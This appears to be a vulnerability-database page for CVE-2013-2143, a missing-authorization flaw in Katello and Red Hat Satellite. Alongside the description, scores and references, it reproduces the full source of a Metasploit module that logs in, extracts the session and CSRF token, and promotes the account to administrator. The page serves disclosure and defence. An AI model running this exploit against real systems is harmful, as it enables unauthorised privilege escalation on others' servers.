CVE-2013-2143 : Detail

CVE-2013-2143

A03-Injection
76.49%V3
Network
2014-04-17
12h00 +00:00
2014-04-17
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The users controller in Katello 1.5.0-14 and earlier, and Red Hat Satellite, does not check authorization for the update_roles action, which allows remote authenticated users to gain privileges by setting a user account to an administrator account.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32515

Publication date : 2014-03-25 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization', 'Description' => %q{ This module exploits a missing authorization vulnerability in the "update_roles" action of "users" controller of Katello and Red Hat Satellite (Katello 1.5.0-14 and earlier) by changing the specified account to an administrator account. }, 'Author' => 'Ramon de C Valle', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-2143'], ['CWE', '862'] ], 'DisclosureDate' => 'Mar 24 2014' ) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Your username']), OptString.new('PASSWORD', [true, 'Your password']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), ], self.class ) end def run print_status("Logging into #{target_url}...") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'user_session', 'new'), 'vars_get' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /user_session\/new$/ print_error('Authentication failed') return else session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') return end end print_status('Retrieving the CSRF token for this session...') res = send_request_cgi( 'cookie' => "_katello_session=#{session}", 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'dashboard') ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /user_session\/new$/ print_error('Authentication failed') return else session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') return end end if res.headers['Location'] =~ /user_session\/new$/ print_error('Failed to retrieve the user id') return else csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil? if csrf_token.nil? print_error('Failed to retrieve the CSRF token') return end user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/ if user.nil? print_error('Failed to retrieve the user id') return end end print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...") res = send_request_cgi( 'cookie' => "_katello_session=#{session}", 'headers' => { 'X-CSRF-Token' => csrf_token }, 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'), 'vars_post' => { 'user[role_ids][]' => '1' } ) if res.nil? print_error('No response from remote host') return end if res.headers['X-Message-Type'] =~ /success$/ print_good('User updated successfully') else print_error('Failed to update user') end end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end end

Products Mentioned

Configuraton 0

Redhat>>Network_satellite >> Version -

Theforeman>>Katello >> Version To (including) 1.5.0-14

References

http://www.exploit-db.com/exploits/32515
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/66434
Tags : vdb-entry, x_refsource_BID
http://www.osvdb.org/104981
Tags : vdb-entry, x_refsource_OSVDB